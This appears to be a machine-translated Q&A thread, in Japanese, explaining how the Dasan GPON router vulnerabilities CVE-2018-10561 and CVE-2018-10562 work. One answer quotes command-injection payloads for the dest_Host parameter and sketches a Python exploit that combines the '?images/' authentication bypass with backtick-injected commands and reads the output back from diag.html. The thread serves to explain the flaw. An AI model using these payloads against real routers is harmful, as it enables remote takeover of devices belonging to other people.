web-dev-qa-db-ja.com

CVE-2018-10562およびCVE-2018-10561エクスプロイトはどのように機能しますか?

https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/

まず、「GPON」の使用は誤解を招きやすいと思います。この脆弱性はルーターとウェブサーバーに関係し、アクセスネットワークに関係するためです。私の知っている誰かが、この攻撃を拾ったPCファイアウォールは、たとえばP2P FTTCです。それは興味深いバージンルーターでもあったので、D-linkやDasanだけではなく、理にかなっています。この脆弱性は2018年に公開されたということです-その前にルーターにステートフルファイアウォールがあり、httpリクエストからこの脆弱性を除外している可能性はありますか?.

私が理解している限り、外部ポート8080またはポート80は、これらのポートの1つでリッスンしているWebサーバーを実行しているネットワーク上の内部マシンに転送される必要があります。次に、攻撃者はhttpリクエストを被害者に送信する(python)スクリプトを使用しますが、不正なGETクエリのように見えるURLに?images /を追加します。これにより、ハッカーがサーバーでコマンドを実行できるようになります。 lsの結果はhttp応答で返されます。正確に?images /を追加するとどのようにこれを実現しますか-攻撃者がサーバー上でコードを実行できるようになり、http応答で返されるように、Webサーバーがこれをどのように解釈するかを誰かに説明できますか?.

2
Lewis Kelsey

答えはこのページにあります: https://github.com/nixawk/labs/tree/master/CVE-2018-10562

Dasan GPONホームルーターで問題が発見されました。コマンドインジェクションは、GponForm/diag_Form URIへのdiag_action = pingリクエストのdest_Hostパラメータを介して発生する可能性があります。ルーターはpingの結果を/ tmpに保存し、ユーザーが/diag.htmlに再度アクセスするとそれらをユーザーに送信するため、コマンドを実行して出力を取得するのは非常に簡単です。

今では理にかなっています。 Dasanルーターには、ポート80/8080を介して外部からルーターインターフェイスにアクセスできるリモート管理機能が必要であると思われます。これは、特定のDasanルーターに何らかの理由でリモートpingを許可するGponForm/diag_Formファイルがあるため、この脆弱性の影響を受けます機能と、場合によっては他の診断コマンドの制限されたセット。 pingの場合、pingへのIPにはサニタイゼーションがないため、コマンドの末尾に追加できます。さらに、?imagesを追加すると認証(アクセサーのトークンのチェック)がバイパスされ、誰でもポストリクエストを送信できるというルーターの脆弱性もあります。

脆弱なのはDasan Webサーバーだけなので、ルーターの背後にあるマシンで実行されているWebサーバーへのリクエストは何も実行しません。ただし、WAFによって引き続き取得される場合があります。

回答の上部にリンクされているgitリポジトリでは、ペイロードとしてディクショナリを使用しています。ここに_dest_Host_キーの値を示します。

_payload = "127.0.0.1;\`echo {randflag};{cmd};echo {randflag}`;".format(randflag=randflag, cmd=cmd)
_

最後に別のコマンドを追加できるようにするため、pingを実行するホストがサニタイズされていないことは明らかです。何らかの理由でechoステートメントが使用されていますが、_{cmd}_自体で十分でした。

別の ソースコード はPOSTデータに対してrequests.Request()ではなくrequests.post()を使用して送信するため、辞書ではなく単一の文字列を使用します。 POSTリクエスト:

_payload = 'XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_Host=`' + command + '`;' + command + '&ipv=0'
_

これは前の例と似ていますが、pingするIPが含まれておらず、すぐに実行するコマンドが挿入されているため、コマンド出力はターゲットアドレスとして使用されますが、前の例では127.0.0.1; commandoutputをpingするIP。

もし私がそれを書くとしたら、私は次のように書くでしょう

_domain = sys.argv[1]
command = sys.argv[2]

url_bypass = domain + '/GponForm/diag_Form?images/'
payload = 'XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_Host=127.0.0.1;`command`&ipv=0'

send_command(url_bypass, payload)
_

上記のコードには、脆弱なdiag_FormのURLである_url_bypass_が含まれています。 POSTリクエストは、ペイロードをPOSTリクエスト本文のデータとして使用して、そのURLに送信されます。これにより、コマンドがpingとともに実行されます。コマンド

最後に、Diag.htmlはrequests.get(url)を使用してアクセスされます。Dasanルーターでは、実行されたpingの結果を返します。バックティックのため、コマンドが実行され、出力が文字列としてアドレスに追加されました。これは、pingのアドレスとして解釈されたため、pingの結果に返されることを意味します。バッククォートは引用符で囲まれているためpython2で保持され、repr()に変換されません。

_for line in response.text.splitlines():
    if 'diag_result = "ping -c 4 -s 64' in line:
        output = line.replace('\\n', '\n')
        break
_

これは( "ls/bin /"がコマンドの場合)次のようになります。

_diag_result = "ping -c 4 -s 64 127.0.0.1;
Console
EthMgr
GponCLI
GponSLID
.
.
.
_
2
Lewis Kelsey

次の理由から、これはポート転送とは関係がないと思います。

  • ネットワーク内のWebサーバーは、(通常)ネットワークまたはデバイスを制御する機能を備えていません。
  • 不正な形式のURIはWebサーバーの欠陥を利用しているため、要求がルーティングされた方法は、説明を考慮すると無関係であると思われます。

また、Pythonでスクリプトを書くかどうかは関係ないと思います。 HTTPリクエストは、ネットワーク上の単なるデータです。リクエストの受信者は、何が送信されたかを知る方法がありません。提供するリンクにはPythonについての言及はありません。ブラウザでこれを行うことができると私が知る限りでは。

説明からははっきりしませんが、ルーターの管理インターフェースに脆弱性があると思います。ルーターがデフォルトでリモート管理を有効にしたり、無効にしたりできないとは思いませんが、おそらくGPONがこのように構成しています。繰り返しになりますが、CVEの詳細はスリムですが、ここで理解できるのはそれだけです。

0
JimmyJames